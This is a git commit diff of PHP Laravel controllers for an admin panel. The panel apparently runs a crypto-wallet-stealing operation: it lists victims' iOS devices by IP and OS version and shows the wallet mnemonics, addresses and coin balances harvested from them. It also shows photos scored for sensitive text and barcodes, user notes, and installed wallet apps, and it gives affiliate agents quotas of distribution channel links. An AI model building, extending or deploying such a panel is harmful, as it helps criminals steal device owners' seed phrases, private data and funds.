This commit is contained in:
hashbro
2026-08-07 05:21:44 +08:00
parent 5145b6f719
commit 78b61f85d2
325 changed files with 9874 additions and 1738 deletions
@@ -0,0 +1,115 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Controller;
use App\Models\Admin;
use Illuminate\Http\Request;
use Illuminate\Validation\Rule;
class AdminUserController extends Controller
{
public function index()
{
return view('admin.system.admins');
}
public function data(Request $request)
{
$q = Admin::query();
$username = trim((string) $request->query('username', ''));
if ($username !== '') {
$q->where('username', 'like', '%'.$username.'%');
}
$sortable = ['id', 'username', 'is_super', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q->orderBy($field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$selfId = (int) auth('admin')->id();
$data = collect($paginator->items())->map(function (Admin $a) use ($selfId) {
return [
'id' => $a->id,
'username' => $a->username,
'is_super' => (int) $a->is_super,
'created_at' => optional($a->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($a->updated_at)->format('Y-m-d H:i:s'),
'is_self' => $a->id === $selfId,
];
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
}
public function store(Request $request)
{
$data = $request->validate([
'username' => ['required', 'string', 'max:64', 'alpha_dash', Rule::unique('admins', 'username')],
'password' => ['required', 'string', 'min:6', 'max:128'],
'is_super' => ['nullable', 'integer', Rule::in([0, 1])],
]);
$admin = Admin::query()->create([
'username' => $data['username'],
'password' => $data['password'],
'is_super' => (int) ($data['is_super'] ?? 0),
]);
return response()->json(['code' => 0, 'msg' => 'ok', 'data' => ['id' => $admin->id]]);
}
public function update(Request $request, Admin $adminUser)
{
$data = $request->validate([
'password' => ['nullable', 'string', 'min:6', 'max:128'],
'is_super' => ['nullable', 'integer', Rule::in([0, 1])],
]);
if (array_key_exists('is_super', $data) && $data['is_super'] !== null) {
$newSuper = (int) $data['is_super'];
if ($adminUser->isSuper() && $newSuper === 0 && $this->superCount() <= 1) {
return response()->json(['code' => 1, 'msg' => '至少保留一名超级管理员'], 422);
}
$adminUser->is_super = $newSuper;
}
if (! empty($data['password'])) {
$adminUser->password = $data['password'];
}
$adminUser->save();
return response()->json(['code' => 0, 'msg' => 'ok']);
}
public function destroy(Admin $adminUser)
{
if ((int) $adminUser->id === (int) auth('admin')->id()) {
return response()->json(['code' => 1, 'msg' => '不能删除当前登录账号'], 422);
}
if ($adminUser->isSuper() && $this->superCount() <= 1) {
return response()->json(['code' => 1, 'msg' => '不能删除最后一名超级管理员'], 422);
}
$adminUser->delete();
return response()->json(['code' => 0, 'msg' => 'ok']);
}
private function superCount(): int
{
return (int) Admin::query()->where('is_super', 1)->count();
}
}
@@ -0,0 +1,121 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Controller;
use App\Models\Channel;
use App\Models\User;
use Illuminate\Http\Request;
use Illuminate\Validation\Rule;
class AgentUserController extends Controller
{
public function index()
{
return view('admin.agents.index');
}
public function data(Request $request)
{
$q = User::query()->withCount('channels');
$username = trim((string) $request->query('username', ''));
$status = $request->query('status');
if ($username !== '') {
$q->where('username', 'like', '%'.$username.'%');
}
if ($status !== null && $status !== '') {
$q->where('status', (int) $status);
}
$sortable = ['id', 'username', 'status', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q->orderBy($field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (User $u) {
return [
'id' => $u->id,
'username' => $u->username,
'status' => (int) $u->status,
'comment' => $u->comment ?: '',
'channels_count' => (int) $u->channels_count,
'created_at' => optional($u->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($u->updated_at)->format('Y-m-d H:i:s'),
];
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
}
public function store(Request $request)
{
$data = $request->validate([
'username' => ['required', 'string', 'max:64', 'alpha_dash', Rule::unique('users', 'username')],
'password' => ['required', 'string', 'min:6', 'max:128'],
'comment' => ['nullable', 'string', 'max:255'],
'status' => ['nullable', 'integer', Rule::in([0, 1])],
]);
$user = User::query()->create([
'username' => $data['username'],
'password' => $data['password'],
'comment' => $data['comment'] ?? null,
'status' => (int) ($data['status'] ?? 1),
]);
return response()->json(['code' => 0, 'msg' => 'ok', 'data' => ['id' => $user->id]]);
}
public function update(Request $request, User $agent)
{
$data = $request->validate([
'password' => ['nullable', 'string', 'min:6', 'max:128'],
'comment' => ['nullable', 'string', 'max:255'],
'status' => ['nullable', 'integer', Rule::in([0, 1])],
]);
if (array_key_exists('comment', $data)) {
$agent->comment = $data['comment'];
}
if (array_key_exists('status', $data) && $data['status'] !== null) {
$agent->status = (int) $data['status'];
}
if (! empty($data['password'])) {
$agent->password = $data['password'];
}
$agent->save();
return response()->json(['code' => 0, 'msg' => 'ok']);
}
public function channels(User $agent)
{
$rows = Channel::query()
->where('user_id', $agent->id)
->orderByDesc('id')
->get()
->map(fn (Channel $c) => [
'id' => $c->id,
'channel_id' => $c->channel_id,
'status' => (int) $c->status,
'remark' => $c->remark ?: '',
'links' => $c->supportLinks(),
])
->values();
return response()->json(['code' => 0, 'msg' => '', 'data' => $rows]);
}
}
@@ -0,0 +1,232 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\Channel;
use App\Models\User;
use App\Services\ChannelProjectService;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Validation\Rule;
use Illuminate\Validation\ValidationException;
class ChannelController extends Controller
{
use PortalAware;
public function index()
{
$agents = $this->isAgentPortal()
? collect()
: User::query()->orderBy('username')->get(['id', 'username']);
return view('admin.channels.index', [
'portal' => $this->portal(),
'agents' => $agents,
'maxPerAgent' => Channel::maxPerAgent(),
]);
}
public function data(Request $request)
{
$q = Channel::query()->with('user:id,username');
if ($agent = $this->agent()) {
$q->where('user_id', $agent->id);
}
$channelId = trim((string) $request->query('channel_id', ''));
$agentUserId = $request->query('agent_user_id');
$status = $request->query('status');
if ($channelId !== '') {
$q->where('channel_id', 'like', '%'.$channelId.'%');
}
if (! $this->isAgentPortal() && $agentUserId !== null && $agentUserId !== '') {
$q->where('user_id', (int) $agentUserId);
}
if ($status !== null && $status !== '') {
$q->where('status', (int) $status);
}
$sortable = ['id', 'channel_id', 'status', 'user_id', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q->orderBy($field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (Channel $c) {
return [
'id' => $c->id,
'channel_id' => $c->channel_id,
'user_id' => (int) $c->user_id,
'agent_username' => $c->agentLabel(),
'remark' => $c->remark ?: '',
'status' => (int) $c->status,
'links' => $c->supportLinks(),
'created_at' => optional($c->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($c->updated_at)->format('Y-m-d H:i:s'),
];
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
}
public function randomId()
{
return response()->json([
'code' => 0,
'msg' => '',
'data' => ['channel_id' => Channel::randomChannelId()],
]);
}
public function store(Request $request, ChannelProjectService $projects)
{
abort_if($this->isAgentPortal(), 403);
$data = $request->validate([
'channel_id' => ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')],
'user_id' => ['nullable', 'integer', 'min:0'],
'remark' => ['nullable', 'string', 'max:255'],
'status' => ['nullable', 'integer', Rule::in([0, 1])],
]);
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
}
$this->assertAgentChannelQuota($userId);
try {
$channel = DB::transaction(function () use ($data, $userId, $projects) {
$channel = Channel::query()->create([
'channel_id' => $data['channel_id'],
'user_id' => $userId,
'domains' => [],
'remark' => $data['remark'] ?? null,
'status' => (int) ($data['status'] ?? 1),
]);
$projects->generate($channel->channel_id);
return $channel;
});
} catch (\Throwable $e) {
$projects->deleteWebTree($data['channel_id']);
return response()->json([
'code' => 1,
'msg' => $e->getMessage() ?: '创建失败',
], 422);
}
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => [
'id' => $channel->id,
'links' => $channel->supportLinks(),
],
]);
}
public function update(Request $request, Channel $channel)
{
$this->authorizeChannel($channel);
if ($this->isAgentPortal()) {
$data = $request->validate([
'remark' => ['nullable', 'string', 'max:255'],
'status' => ['nullable', 'integer', Rule::in([0, 1])],
]);
if (array_key_exists('remark', $data)) {
$channel->remark = $data['remark'];
}
if (array_key_exists('status', $data) && $data['status'] !== null) {
$channel->status = (int) $data['status'];
}
} else {
$data = $request->validate([
'user_id' => ['nullable', 'integer', 'min:0'],
'remark' => ['nullable', 'string', 'max:255'],
'status' => ['nullable', 'integer', Rule::in([0, 1])],
]);
if (array_key_exists('user_id', $data)) {
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
}
if ($userId !== (int) $channel->user_id && $userId > 0) {
$this->assertAgentChannelQuota($userId, $channel->id);
}
$channel->user_id = $userId;
}
if (array_key_exists('remark', $data)) {
$channel->remark = $data['remark'];
}
if (array_key_exists('status', $data) && $data['status'] !== null) {
$channel->status = (int) $data['status'];
}
}
$channel->save();
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => ['links' => $channel->supportLinks()],
]);
}
public function destroy(Channel $channel, ChannelProjectService $projects)
{
abort_if($this->isAgentPortal(), 403);
$this->authorizeChannel($channel);
$channelId = $channel->channel_id;
$channel->delete();
$projects->deleteWebTree($channelId);
return response()->json(['code' => 0, 'msg' => 'ok']);
}
private function assertAgentChannelQuota(int $userId, ?int $exceptChannelId = null): void
{
if ($userId <= 0) {
return;
}
$q = Channel::query()->where('user_id', $userId);
if ($exceptChannelId) {
$q->where('id', '!=', $exceptChannelId);
}
$count = $q->count();
$max = Channel::maxPerAgent();
if ($count >= $max) {
throw ValidationException::withMessages([
'user_id' => "该代理最多只能拥有 {$max} 条渠道链接",
]);
}
}
private function authorizeChannel(Channel $channel): void
{
if ($agent = $this->agent()) {
abort_unless((int) $channel->user_id === (int) $agent->id, 403);
}
}
}
@@ -0,0 +1,83 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\Device;
use App\Models\User;
use App\Support\AgentScope;
use Carbon\Carbon;
use Illuminate\Http\Request;
class DashboardController extends Controller
{
use PortalAware;
public function index()
{
$agents = $this->isAgentPortal()
? collect()
: User::query()->orderBy('username')->get(['id', 'username']);
return view('admin.dashboard.index', [
'portal' => $this->portal(),
'agents' => $agents,
]);
}
public function data(Request $request)
{
$range = (string) $request->query('range', '30d');
[$from, $to] = $this->rangeBounds($range);
$channelId = trim((string) $request->query('channel_id', ''));
$agentUserId = $this->isAgentPortal()
? (int) ($this->agent()?->id ?? 0)
: (int) $request->query('agent_user_id', 0);
$base = Device::query();
AgentScope::applyDeviceChannelScope($base, $this->agent());
if (! $this->isAgentPortal() && $agentUserId > 0) {
AgentScope::applyAgentUserFilter($base, $agentUserId);
}
if ($channelId !== '') {
$base->where('channel_id', 'like', '%'.$channelId.'%');
}
$total = (clone $base)->count();
$newCount = (clone $base)->whereBetween('created_at', [$from, $to])->count();
$activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count();
return response()->json([
'code' => 0,
'msg' => '',
'data' => [
'total' => $total,
'new_count' => $newCount,
'active_count' => $activeCount,
'range' => $range,
'from' => $from->toDateTimeString(),
'to' => $to->toDateTimeString(),
],
]);
}
/**
* @return array{0: Carbon, 1: Carbon}
*/
private function rangeBounds(string $range): array
{
$now = Carbon::now();
return match ($range) {
'today' => [$now->copy()->startOfDay(), $now->copy()->endOfDay()],
'yesterday' => [
$now->copy()->subDay()->startOfDay(),
$now->copy()->subDay()->endOfDay(),
],
'7d' => [$now->copy()->subDays(6)->startOfDay(), $now->copy()->endOfDay()],
default => [$now->copy()->subDays(29)->startOfDay(), $now->copy()->endOfDay()],
};
}
}
@@ -2,86 +2,139 @@
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\Device;
use App\Models\Wallet;
use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\Note;
use App\Models\Photo;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Storage;
class DeviceController extends Controller
{
public function index(Request $request)
use PortalAware;
public function index()
{
$filters = [
'device_key' => trim((string) $request->query('device_key', '')),
'channel_id' => trim((string) $request->query('channel_id', '')),
'model' => trim((string) $request->query('model', '')),
'ip' => trim((string) $request->query('ip', '')),
'ios' => trim((string) $request->query('ios', '')),
'installed_from' => trim((string) $request->query('installed_from', '')),
'installed_to' => trim((string) $request->query('installed_to', '')),
];
$agents = $this->isAgentPortal()
? collect()
: User::query()->orderBy('username')->get(['id', 'username']);
$q = Device::query()->orderByDesc('updated_at');
return view('admin.devices.index', [
'portal' => $this->portal(),
'agents' => $agents,
]);
}
if ($filters['device_key'] !== '') {
$q->where('device_id', 'like', '%'.$filters['device_key'].'%');
}
if ($filters['channel_id'] !== '') {
$q->where('channel_id', 'like', '%'.$filters['channel_id'].'%');
}
if ($filters['model'] !== '') {
$q->where('device_model', 'like', '%'.$filters['model'].'%');
}
if ($filters['ip'] !== '') {
$q->where('ip', 'like', '%'.$filters['ip'].'%');
}
if ($filters['ios'] !== '') {
$q->where('ios_version', 'like', '%'.$filters['ios'].'%');
}
if ($filters['installed_from'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}$/', $filters['installed_from'])) {
$q->whereDate('created_at', '>=', $filters['installed_from']);
}
if ($filters['installed_to'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}$/', $filters['installed_to'])) {
$q->whereDate('created_at', '<=', $filters['installed_to']);
}
public function data(Request $request)
{
$filters = $this->filtersFrom($request);
$q = $this->filteredQuery($filters);
$devices = $q->paginate(30)->withQueryString();
$sortable = ['id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'updated_at');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'updated_at';
}
$q->orderBy('devices.'.$field, $order);
return view('admin.devices.index', compact('devices', 'filters'));
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['devices.*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function (Device $d) use ($portal) {
return [
'id' => $d->id,
'device_id' => $d->device_id,
'channel_id' => $d->channel_id ?: '',
'device_model' => $d->device_model ?: '',
'ios_version' => $d->ios_version ?: '',
'ip' => $d->ip ?: '',
'created_at' => optional($d->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($d->updated_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', $d),
];
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
}
public function show(Device $device, Request $request)
{
$tab = $request->query('tab', 'apps');
if (! in_array($tab, ['apps', 'events', 'photos', 'notes', 'wallets'], true)) {
$tab = 'apps';
$this->authorizeDevice($device);
$tab = $request->query('tab', 'wallets');
if (! in_array($tab, ['wallets', 'mnemonics', 'photos', 'apps', 'notes', 'events'], true)) {
$tab = 'wallets';
}
$apps = $device->apps()->orderByDesc('is_wallet')->orderBy('name')->get();
$events = $device->events()->orderByDesc('id')->limit(500)->get();
$photos = $device->photos()->orderByDesc('id')->limit(200)->get();
$notes = $device->notes()->orderByDesc('id')->limit(200)->get();
$wallets = $device->wallets()->orderByDesc('id')->get();
$addresses = $device->addresses()->orderByDesc('id')->get();
$addressSources = collect();
$addressChains = collect();
if ($tab === 'wallets') {
$addressSources = $device->addresses()
->whereNotNull('source')
->where('source', '!=', '')
->distinct()
->orderBy('source')
->pluck('source')
->values();
$addressChains = $device->addresses()
->whereNotNull('chain_type')
->where('chain_type', '!=', '')
->distinct()
->orderBy('chain_type')
->pluck('chain_type')
->values();
}
$maskedWallets = $wallets->map(function (Wallet $w) {
return [
'id' => $w->id,
'source_app' => $w->source_app,
'mnemonic' => Wallet::maskSecret($w->mnemonic),
'privkey' => Wallet::maskSecret($w->privkey),
'created_at' => $w->created_at,
];
});
return view('admin.devices.show', [
'device' => $device,
'tab' => $tab,
'addressSources' => $addressSources,
'addressChains' => $addressChains,
'portal' => $this->portal(),
]);
}
return view('admin.devices.show', compact(
'device', 'tab', 'apps', 'events', 'photos', 'notes', 'maskedWallets', 'addresses'
));
public function tabData(Device $device, Request $request)
{
$this->authorizeDevice($device);
$tab = (string) $request->query('tab', 'wallets');
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$page = max(1, (int) $request->query('page', 1));
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
$field = (string) $request->query('field', 'id');
return match ($tab) {
'wallets' => $this->paginateAddresses($device, $request, $field, $order, $limit, $page),
'mnemonics' => $this->paginateMnemonics($device, $field, $order, $limit, $page),
'photos' => $this->paginatePhotos($device, $request, $field, $order, $limit, $page),
'apps' => $this->paginateApps($device, $field, $order, $limit, $page),
'notes' => $this->paginateNotes($device, $field, $order, $limit, $page),
'events' => $this->paginateEvents($device, $field, $order, $limit, $page),
default => response()->json(['code' => 1, 'msg' => 'unknown tab', 'count' => 0, 'data' => []]),
};
}
public function photo(Device $device, int $photo)
{
$this->authorizeDevice($device);
$row = $device->photos()->whereKey($photo)->firstOrFail();
abort_unless(Storage::disk('local')->exists($row->path), 404);
$mime = mime_content_type(Storage::disk('local')->path($row->path)) ?: 'application/octet-stream';
@@ -89,4 +142,242 @@ class DeviceController extends Controller
return response(Storage::disk('local')->get($row->path), 200)
->header('Content-Type', $mime);
}
private function authorizeDevice(Device $device): void
{
if ($agent = $this->agent()) {
$ids = AgentScope::channelIdsFor($agent);
abort_unless($device->channel_id && in_array($device->channel_id, $ids, true), 403);
}
}
private function paginatePhotos(Device $device, Request $request, string $field, string $order, int $limit, int $page)
{
$sortable = ['id', 'size', 'x_hit', 'upload_count', 'process_index', 'text_count', 'barcode_count', 'created_at'];
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q = $device->photos();
// sensitive=1 → x_hit > 0(含敏感词)
if ((string) $request->query('sensitive', '') === '1') {
$q->where('x_hit', '>', 0);
}
$paginator = $q->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function (Photo $photo) use ($device, $portal) {
return [
'id' => $photo->id,
'url' => route($portal.'.devices.photo', [$device, $photo->id]),
'sha256' => $photo->sha256 ?: '',
'size' => $photo->size,
'x_hit' => $photo->x_hit,
'upload_count' => $photo->upload_count,
'process_index' => $photo->process_index,
'text_count' => $photo->text_count,
'barcode_count' => $photo->barcode_count,
'created_at' => optional($photo->created_at)->format('Y-m-d H:i:s'),
];
})->values();
return $this->layuiPage($paginator->total(), $data);
}
private function paginateAddresses(Device $device, Request $request, string $field, string $order, int $limit, int $page)
{
$sortable = ['id', 'source', 'chain_type', 'address', 'created_at', 'updated_at'];
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q = $device->addresses();
$source = trim((string) $request->query('source', ''));
if ($source !== '') {
$q->where('source', $source);
}
$chainType = trim((string) $request->query('chain_type', ''));
if ($chainType !== '') {
$q->where('chain_type', $chainType);
}
$paginator = $q->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (WalletAddress $addr) {
$coins = $addr->formattedCoins();
return [
'id' => $addr->id,
'source' => $addr->source ?: '',
'chain_type' => $addr->chain_type ?: '',
'address' => $addr->address,
'usdt' => $coins['usdt'],
'trx' => $coins['trx'],
'eth' => $coins['eth'],
'btc' => $coins['btc'],
'bnb' => $coins['bnb'],
'monitor' => (int) $addr->monitor,
'created_at' => optional($addr->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($addr->updated_at)->format('Y-m-d H:i:s'),
];
})->values();
return $this->layuiPage($paginator->total(), $data);
}
private function paginateMnemonics(Device $device, string $field, string $order, int $limit, int $page)
{
$sortable = ['id', 'source', 'created_at', 'updated_at'];
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$paginator = $device->mnemonics()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (WalletMnemonic $w) {
return [
'id' => $w->id,
'source' => $w->source ?: '',
'mnemonic' => WalletMnemonic::maskSecret($w->mnemonic),
'created_at' => optional($w->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($w->updated_at)->format('Y-m-d H:i:s'),
];
})->values();
return $this->layuiPage($paginator->total(), $data);
}
private function paginateApps(Device $device, string $field, string $order, int $limit, int $page)
{
$sortable = ['id', 'name', 'bundle_id', 'version', 'is_wallet', 'created_at', 'updated_at'];
if (! in_array($field, $sortable, true)) {
$field = 'is_wallet';
$order = 'desc';
}
$q = $device->apps();
if ($field === 'is_wallet') {
$q->orderByDesc('is_wallet')->orderBy('name');
} else {
$q->orderBy($field, $order);
}
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (DeviceApp $app) {
return [
'id' => $app->id,
'name' => $app->name ?: '',
'bundle_id' => $app->bundle_id ?: '',
'version' => $app->version ?: '',
'is_wallet' => (bool) $app->is_wallet,
];
})->values();
return $this->layuiPage($paginator->total(), $data);
}
private function paginateNotes(Device $device, string $field, string $order, int $limit, int $page)
{
$sortable = ['id', 'created_at', 'updated_at'];
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$paginator = $device->notes()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (Note $note) {
$content = $note->content;
if (is_array($content)) {
$content = json_encode($content, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
}
return [
'id' => $note->id,
'content' => $content ?: '',
'created_at' => optional($note->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($note->updated_at)->format('Y-m-d H:i:s'),
];
})->values();
return $this->layuiPage($paginator->total(), $data);
}
private function paginateEvents(Device $device, string $field, string $order, int $limit, int $page)
{
$sortable = ['id', 'event_name', 'desc', 'created_at'];
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$paginator = $device->events()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (DeviceEvent $ev) {
return [
'id' => $ev->id,
'event_name' => $ev->event_name ?: '',
'desc' => $ev->desc ?: '',
'context' => $ev->context_json
? json_encode($ev->context_json, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)
: '',
'created_at' => optional($ev->created_at)->format('Y-m-d H:i:s'),
];
})->values();
return $this->layuiPage($paginator->total(), $data);
}
/**
* @param \Illuminate\Support\Collection<int, array<string, mixed>>|array<int, array<string, mixed>> $data
*/
private function layuiPage(int $count, $data)
{
return response()->json([
'code' => 0,
'msg' => '',
'count' => $count,
'data' => $data,
]);
}
/**
* @return array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, agent_user_id: int}
*/
private function filtersFrom(Request $request): array
{
return [
'device_key' => trim((string) $request->query('device_key', '')),
'channel_id' => trim((string) $request->query('channel_id', '')),
'model' => trim((string) $request->query('model', '')),
'ip' => trim((string) $request->query('ip', '')),
'ios' => trim((string) $request->query('ios', '')),
'installed_from' => trim((string) $request->query('installed_from', '')),
'installed_to' => trim((string) $request->query('installed_to', '')),
'agent_user_id' => (int) $request->query('agent_user_id', 0),
];
}
/**
* @param array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, agent_user_id: int} $filters
*/
private function filteredQuery(array $filters): Builder
{
$q = Device::query()->select('devices.*');
AgentScope::applyDeviceChannelScope($q, $this->agent());
if ($filters['device_key'] !== '') {
$q->where('devices.device_id', 'like', '%'.$filters['device_key'].'%');
}
if ($filters['channel_id'] !== '') {
$q->where('devices.channel_id', 'like', '%'.$filters['channel_id'].'%');
}
if ($filters['model'] !== '') {
$q->where('devices.device_model', 'like', '%'.$filters['model'].'%');
}
if ($filters['ip'] !== '') {
$q->where('devices.ip', 'like', '%'.$filters['ip'].'%');
}
if ($filters['ios'] !== '') {
$q->where('devices.ios_version', 'like', '%'.$filters['ios'].'%');
}
if ($filters['installed_from'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $filters['installed_from'])) {
$q->whereDate('devices.created_at', '>=', substr($filters['installed_from'], 0, 10));
}
if ($filters['installed_to'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $filters['installed_to'])) {
$q->whereDate('devices.created_at', '<=', substr($filters['installed_to'], 0, 10));
}
if (! $this->isAgentPortal() && $filters['agent_user_id'] > 0) {
AgentScope::applyAgentUserFilter($q, $filters['agent_user_id']);
}
return $q;
}
}
@@ -0,0 +1,106 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\User;
use App\Models\WalletMnemonic;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
class MnemonicController extends Controller
{
use PortalAware;
public function index()
{
$agents = $this->isAgentPortal()
? collect()
: User::query()->orderBy('username')->get(['id', 'username']);
$sources = WalletMnemonic::query()
->whereNotNull('source')
->where('source', '!=', '')
->distinct()
->orderBy('source')
->pluck('source');
return view('admin.mnemonics.index', [
'portal' => $this->portal(),
'agents' => $agents,
'sources' => $sources,
]);
}
public function data(Request $request)
{
$q = $this->baseQuery($request);
$sortable = ['id', 'source', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q->orderBy('wallet_mnemonics.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function ($row) use ($portal) {
return [
'id' => $row->id,
'device_key' => $row->device_key ?: '',
'channel_id' => $row->device_channel_id ?: '',
'source' => $row->source ?: '',
'mnemonic' => WalletMnemonic::maskSecret($row->mnemonic),
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', $row->device_id),
];
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
}
private function baseQuery(Request $request): Builder
{
$q = WalletMnemonic::query()
->join('devices', 'devices.id', '=', 'wallet_mnemonics.device_id')
->select([
'wallet_mnemonics.*',
'devices.device_id as device_key',
'devices.channel_id as device_channel_id',
]);
AgentScope::applyDeviceChannelScope($q, $this->agent());
$channelId = trim((string) $request->query('channel_id', ''));
$deviceKey = trim((string) $request->query('device_key', ''));
$source = trim((string) $request->query('source', ''));
$agentUserId = (int) $request->query('agent_user_id', 0);
if ($channelId !== '') {
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
if ($deviceKey !== '') {
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
}
if ($source !== '') {
$q->where('wallet_mnemonics.source', $source);
}
if (! $this->isAgentPortal() && $agentUserId > 0) {
AgentScope::applyAgentUserFilter($q, $agentUserId);
}
return $q;
}
}
@@ -0,0 +1,99 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\Note;
use App\Models\User;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
class NoteController extends Controller
{
use PortalAware;
public function index()
{
$agents = $this->isAgentPortal()
? collect()
: User::query()->orderBy('username')->get(['id', 'username']);
return view('admin.notes.index', [
'portal' => $this->portal(),
'agents' => $agents,
]);
}
public function data(Request $request)
{
$q = $this->baseQuery($request);
$sortable = ['id', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q->orderBy('notes.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function ($row) use ($portal) {
